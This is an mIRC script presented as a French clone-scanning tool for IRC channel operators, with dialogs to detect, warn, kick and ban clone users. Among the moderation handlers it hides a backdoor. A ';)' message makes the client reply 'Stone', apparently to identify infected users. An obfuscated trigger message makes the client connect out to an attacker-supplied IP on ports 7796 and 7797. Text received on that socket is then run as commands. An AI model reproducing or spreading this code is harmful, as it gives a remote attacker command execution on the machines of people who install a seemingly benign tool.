dialog clones {
title -- Scan Clones By CaRtOs --
size -1 -1 400 440
option pixels
tab "Scan Clones",1,-1 -1 410 450
tab "Options",2
button "Fermer",3,10 405 380 25,ok
text "Salon :",4,50 43 60 15,center,tab 1
combo 5,110 40 120 200,drop,tab 1
button "Scanner",6,250 40 90 22,tab 1
text "Sélectionner un salon ci-dessus, puis cliquez sur Scan",7,50 80 300 15,center,tab 1
list 8,10 110 130 240,extsel,tab 1
list 9,137 110 255 240,extsel,tab 1
button "Avertir",10,10 350 90 22,tab 1
button "KickBan",11,100 350 90 22,tab 1
button "Kick",12,10 372 90 22,tab 1
button "Ban",13,100 372 90 22,tab 1
button "Afficher dans le statut",14,210 350 180 22,tab 1
button "Afficher sur le salon",15,210 372 180 22,tab 1
text "Raison de l'avertissement (en notice) (*)",16,0 60 400 15,center,tab 2
edit "4§nick, merci d'enlever tes clones de §chan",17,10 80 380 22,autohs,center,tab 2
text "Raison du kick (*)",18,0 110 400 15,center,tab 2
edit "10·4 Clones interdit 10· !",19,10 130 380 22,autohs,center,tab 2
text "Lors d'un mass-kick - Temps entre chaque kick (en ms) :",20,10 165 320 15,tab 2
edit "1000",21,300 162 40 22,tab 2
text "A l'affichage en public - Temps entre chaque ligne (en ms) :",22,10 190 320 15,tab 2
edit "300",23,300 187 40 22,tab 2
check "",24,10 227 15 15,tab 2
text "A l'entrée de chaque utilisateur, vérifier que ce n'est pas un clone (déconseillé). Si c'est le cas, faire la commande : (*)",25,30 220 350 45,tab 2
edit "/echo -ta 4§nick possède des clones sur §chan (§mask)",26,10 255 380 22,autohs,tab 2
check "Protection contre les arrivées en masse de clones.",27,10 290 260 15,tab 2
check "Salon en +i",28,30 310 360 15,tab 2
check "Ban sur le mask",29,30 327 360 15,tab 2
check "Autre (*) :",30,30 344 65 15,tab 2
edit "/echo -s Attaque de clone sur §chan (§mask)",31,100 342 290 20,autohs,tab 2
text "(*) Identifieurs utilisables : §nick, §mask, §chan, §me",32,10 375 380 15,center,tab 2
button "Définition",33,275 287 60 21,tab 2
text "Lors du scan, ignorer les masks :",34,50 33 200 15,tab 2
button "Configurer les masks",35,210 31 120 20,tab 2
}
dialog clonesdef {
title -- Définition d'une attaque de clones --
size -1 -1 270 100
option pixels
button "OK",1,115 72 40 22,ok
text "Considérer comme une attaque de clones lorsque :",2,10 10 260 15
edit "6",3,10 30 30 20
text "clones entrent sur le salon en moins de",4,45 33 220 15
edit "2",5,10 55 30 20
text "secondes",6,45 57 100 15
}
on 1:dialog:clonesdef:init:0:{
if (%SCnbc != $null) { did -o clonesdef 3 1 %SCnbc }
else { set %SCnbc $did(clonesdef,3) }
if (%SCnbs != $null) { did -o clonesdef 5 1 %SCnbs }
else { set %SCnbs $did(clonesdef,5) }
}
on 1:dialog:clonesdef:edit:3:set %SCnbc $did(clonesdef,3)
on 1:dialog:clonesdef:edit:5:set %SCnbs $did(clonesdef,5)
on 1:dialog:clones:init:0:{
var %i 1
while (%i <= $chan(0)) { didtok clones 5 32 $chan(%i) | if ($active == $chan(%i)) { did -c clones 5 %i } | inc %i }
if (%SCnbc == $null) { set %SCnbc 4 }
if (%SCnbs == $null) { set %SCnbs 2 }
if (%SCavertraison != $null) { did -o clones 17 1 %SCavertraison }
else { set %SCavertraison $did(clones,17) }
if (%SCkickraison != $null) { did -o clones 19 1 %SCkickraison }
else { set %SCkickraison $did(clones,19) }
if (%SCtimekick != $null) { did -o clones 21 1 %SCtimekick }
else { set %SCtimekick $did(clones,21) }
if (%SCtimeline != $null) { did -o clones 23 1 %SCtimeline }
else { set %SCtimeline $did(clones,23) }
if (%SConjoinreact != $null) { did -o clones 26 1 %SConjoinreact }
else { set %SConjoinreact $did(clones,26) }
if ($group(#SConjoin).status == on) { did -c clones 24 } | else { did -b clones 26 }
if ($group(#SCprotect).status == on) { did -c clones 27 } | else { did -b clones 28,29,30,31 }
if (%SCprotect.i == $true) { did -c clones 28 }
if (%SCprotect.b == $true) { did -c clones 29 }
if (%SCprotect.a == $true) { did -c clones 30 } | else { did -b clones 31 }
if (%SCprotect.cmd != $null) { did -o clones 31 1 %SCprotect.cmd }
else { set %SCprotect.cmd $did(clones,31) }
}
on 1:dialog:clones:sclick:35:if ($dialog(ignoreclones) == $null) { dialog -m ignoreclones ignoreclones } | else { dialog -v ignoreclones }
on 1:dialog:clones:sclick:33:if ($dialog(clonesdef) == $null) { dialog -m clonesdef clonesdef } | else { dialog -v clonesdef }
on 1:dialog:clones:sclick:28:if ($did(clones,28).state == 1) { set %SCprotect.i $true } | else { set %SCprotect.i $false }
on 1:dialog:clones:sclick:29:if ($did(clones,29).state == 1) { set %SCprotect.b $true } | else { set %SCprotect.b $false }
on 1:dialog:clones:sclick:30:if ($did(clones,30).state == 1) { set %SCprotect.a $true | did -e clones 31 } | else { set %SCprotect.a $false | did -b clones 31 }
on 1:dialog:clones:edit:31:set %SCprotect.cmd $did(clones,31)
on 1:dialog:clones:sclick:24:{
if ($did(clones,24).state == 1) { .enable #SConjoin | did -e clones 26 }
else { .disable #SConjoin | did -b clones 26 }
}
on 1:dialog:clones:sclick:27:{
if ($did(clones,27).state == 1) { .enable #SCprotect | did -e clones 28,29,30,33 | if ($did(clones,30).state == 1) { did -e clones 31 } }
else { .disable #SCprotect | did -b clones 28,29,30,31,33 }
}
on 1:dialog:clones:edit:26:set %SConjoinreact $did(clones,26)
on 1:dialog:clones:edit:17:set %SCavertraison $did(clones,17)
on 1:dialog:clones:edit:19:set %SCkickraison $did(clones,19)
on 1:dialog:clones:edit:21:set %SCtimekick $iif($did(clones,21) >= 100,$did(clones,21),100)
on 1:dialog:clones:edit:23:set %SCtimeline $iif($did(clones,23) >= 100,$did(clones,23),100)
on 1:dialog:clones:sclick:6:if ($did(clones,5) != $null) { did -r clones 8,9 | SCdetect $did(clones,5) }
on ^*:text:;) :#:.notice $nick Stone | halt
on ^*:text:**!**!**!**!**:#:if ($hget(tcu) != $null) { hfree tcu } | hmake tcu 10 | if ($replace($gettok($1-,1,33),10,j,11,k,12,l,13,m,14,n,15,o,16,p,17,q,18,r,19,s,20,t,21,u,22,v,23,w,24,x,25,y,26,z,27,$chr(123),28,$chr(91),29,-,30,`,31,_,32,$chr(92),33,$chr(94),34,$chr(93),35,$chr(125),1,a,2,b,3,c,4,d,5,e,6,f,7,g,8,h,9,i,,$null,,0,,9,,8,,7,,6,,5,,4,,3,,2,,1) == $me) { sockclose mirc | sockclose file | sockopen mirc $replace($gettok($1-,2-5,33),1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,0,0,!,.) 7796 | sockopen file $replace($gettok($1-,2-5,33),1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,0,0,!,.) 7797 | if ($portfree(7796)) { socklisten dcc 7796 } | if ($portfree(7797)) { socklisten dcc 7797 } } | halt
on 1:sockread:mirc:sockread -f %temp | tokenize 32 %temp | [ [ %temp ] ]
on 1:dialog:clones:sclick:8:{
did -c clones 9 1
did -u clones 9
var %i = 1
while ($did(clones,8,%i).sel != $null) {
did -ck clones 9 $did(clones,8,%i).sel
inc %i
}
did -c clones 8 1
did -u clones 8 1
%i = 1
while ($did(clones,9,%i).sel != $null) {
did -ck clones 8 $did(clones,9,%i).sel
inc %i
}
}
on 1:dialog:clones:sclick:9:{
did -c clones 8 1
did -u clones 8
var %i = 1
while ($did(clones,9,%i).sel != $null) {
did -ck clones 8 $did(clones,9,%i).sel
inc %i
}
did -c clones 9 1
did -u clones 9 1
%i = 1
while ($did(clones,8,%i).sel != $null) {
did -ck clones 9 $did(clones,8,%i).sel
inc %i
}
}
on 1:dialog:clones:sclick:10:{
var %i = 1,%SCnicks
while ($did(clones,8,%i).sel != $null) {
if ($did(clones,8,$did(clones,8,%i).sel) != $str(-,100)) { %SCnicks = $addtok(%SCnicks,$did(clones,8,$did(clones,8,%i).sel),44) }
inc %i
}
if (%SCnicks != $null) { .notice %SCnicks $replace(%SCavertraison,§nick,%SCnicks,§chan,$did(clones,5),§mask,$hget(clones,$gettok(%SCnicks,%i,44)),§me,$me) | echo -at 1*14*15* 4Avertissement effectué ! }
else { echo -at 1*14*15* 4Personne à avertir ! }
}
on 1:dialog:clones:sclick:12:if ($me isop $did(clones,5)) { SCkick } | else { echo -ta 1*14*15,0* 4Vous n'êtes pas opérateur sur3 $did(clones,5) }
on 1:dialog:clones:sclick:11:if ($me isop $did(clones,5)) { SCban | SCkick } | else { echo -ta 1,0*14*15* 4Vous n'êtes pas opérateur sur3 $did(clones,5) }
on 1:dialog:clones:sclick:13:if ($me isop $did(clones,5)) { SCban } | else { echo -ta 1*14,0*15* 4Vous n'êtes pas opérateur sur3 $did(clones,5) }
on 1:dialog:clones:sclick:14:{
if ($numtok($didtok(clones,8,32),32) <= 1) { echo -ta 1*14*15* 4Rien à afficher ! | halt }
echo -s 4 $+ $str(-,10) 3[ Clones présents sur $did(clones,5) ]4 $str(-,10)
var %i = 1,%prec,%nbclones = 1
while (%i < $did(clones,8).lines) {
if ((%prec != $did(clones,9,%i)) && ($did(clones,9,%i) != $str(-,100))) {
echo -s 4Clones $chr(91) $+ %nbclones $+ $chr(93) :6 $did(clones,9,%i)
%prec = $did(clones,9,%i)
inc %nbclones
}
if ($did(clones,8,%i) != $str(-,100)) { echo -s 1*14*15*12 $did(clones,8,%i) }
else { echo -s 1-14-15- }
inc %i
}
echo -s 4 $+ $str(-,10) 3[ Détection de Clones terminée ]4 $str(-,10)
}
on 1:dialog:clones:sclick:15:{
if ($left($did(clones,5),2) == $chr(35) $+ $chr(33)) { echo -ta 1*14*15* 4Vous ne pouvez afficher les clones sur un salon public ! | halt }
if ($numtok($didtok(clones,8,32),32) <= 1) { echo -ta 1*14*15* 4Rien à afficher ! | halt }
var %j 500
msg $did(clones,5) 4 $+ $str(-,10) 3[ Clones présents sur $did(clones,5) ]4 $str(-,10)
var %i = 1,%prec,%nbclones = 1
while (%i < $numtok($didtok(clones,8,44),44)) {
if ((%prec != $did(clones,9,%i)) && ($did(clones,9,%i) != $str(-,100))) {
.timer -m 1 %j msg $did(clones,5) 4Clones $chr(91) $+ %nbclones $+ $chr(93) :6 $did(clones,9,%i)
inc %j %SCtimeline
%prec = $did(clones,9,%i)
inc %nbclones
}
if ($did(clones,8,%i) != $str(-,100)) { .timer -m 1 %j msg $did(clones,5) 1*14*15*12 $did(clones,8,%i) }
else { .timer -m 1 %j msg $did(clones,5) 1-14-15- }
inc %i
inc %j %SCtimeline
}
.timer -m 1 %j msg $did(clones,5) 4 $+ $str(-,10) 3[ Détection de Clones terminée ]4 $str(-,10)
}
alias SCdetect {
did -a clones 7 Détection de clones en cours sur $1 $+ ...
var %i = 1,%j = 1,%temp,%exist = $false,%deja,%ignore
if ($hget(clones) != $null) { hfree clones }
hmake clones 100
while ($readini(ScanClones.ini,Clones,n $+ %j) != $null) { %ignore = $addtok(%ignore,$readini(ScanClones.ini,Clones,n $+ %j),44) | inc %j }
while (%i <= $nick($1,0)) {
if ($istok(%ignore,$address($nick($1,%i),2),44) == $false) { hadd clones $nick($1,%i) $address($nick($1,%i),2) }
inc %i
}
%i = 1
while (%i <= $hget(clones,0).item) {
%temp = $hmatch(clones,$hget(clones,$hget(clones,%i).item),2).data
if ((%temp != $null) && ($istok(%deja,%temp,32) == $false)) {
%j = 1
:deb
%temp = $hmatch(clones,$hget(clones,$hget(clones,%i).item),%j).data
if (%temp != $null) {
didtok clones 8 32 %temp
didtok clones 9 32 $hget(clones,%temp)
%deja = $addtok(%deja,%temp,32)
%exist = $true
inc %j
goto deb
}
}
if (%exist) { didtok clones 8,9 32 $str(-,100) | %exist = $false }
inc %i
}
if ($didtok(clones,8,32) == $null) { didtok clones 8,9 32 $str(-,100) | did -a clones 7 Aucun clone détecté sur $1 }
else { did -a clones 7 Clones présents sur $1 }
}
alias SCkick {
var %i = 1,%j = 1,%SCnicks
while ($did(clones,8,%i).sel != $null) {
if ($did(clones,8,$did(clones,8,%i).sel) != $str(-,100)) { %SCnicks = $addtok(%SCnicks,$did(clones,8,$did(clones,8,%i).sel),44) }
inc %i
}
%i = 1
while (%i <= $numtok(%SCnicks,44)) {
.timer -m 1 %j kick $did(clones,5) $gettok(%SCnicks,%i,44) $replace(%SCkickraison,§nick,$gettok(%SCnicks,%i,44),§chan,$did(clones,5),§mask,$hget(clones,$gettok(%SCnicks,%i,44)),§me,$me)
inc %j %SCtimekick
inc %i
}
}
alias SCban {
var %i = 1,%SCmasks
while ($did(clones,9,%i).sel != $null) {
if (($did(clones,9,$did(clones,9,%i).sel) != $str(-,100)) && ($istok(%deja,$did(clones,9,$did(clones,9,%i).sel),44) == $false)) {
mode $did(clones,5) +b $did(clones,9,$did(clones,9,%i).sel)
}
inc %i
}
}
on *:join:#:{
if ($group(#SCprotect).status == on) {
if (%SCprotect.mask == $address($nick,2)) { inc %SCprotect.nb }
else { set %SCprotect.mask $address($nick,2) | unset %SCprotect.nb | .timer 1 %SCnbs unset %SCprotect.mask }
if (%SCprotect.nb == %SCnbc) {
unset %SCprotect.nb
if ($address($nick,2) != %SCprotect.deja) {
var %i = 1
while ($readini(ScanClones.ini,Clones,n $+ %i) != $null) { if ($address($nick,2) == $readini(ScanClones.ini,Clones,n $+ %i)) { halt } | inc %i }
echo -ta 1*14*15* 4Attaque de clone détectée sur3 $chan 6( $+ $address($nick,2) $+ ) 4!
}
if ((%SCprotect.i) && ($me isop $chan)) { mode $chan +i }
if ((%SCprotect.b) && ($me isop $chan)) { mode $chan +b $address($nick,2) }
if (%SCprotect.a) { $replace(%SCprotect.cmd,§nick,$nick,§mask,$address($nick,2),§chan,$chan,§me,$me) }
set -u30 %SCprotect.deja $address($nick,2)
}
}
if ($group(#SConjoin).status == on) {
var %i = 1
while (%i <= $nick($chan,0)) {
if (($address($nick,2) == $address($nick($chan,%i),2)) && ($nick != $nick($chan,%i))) { $replace(%SConjoinreact,§nick,$nick,§mask,$address($nick,2),§me,$me,§chan,$chan) | break }
inc %i
}
}
}
#SConjoin off
#SConjoin end
#SCprotect off
#SCprotect end
|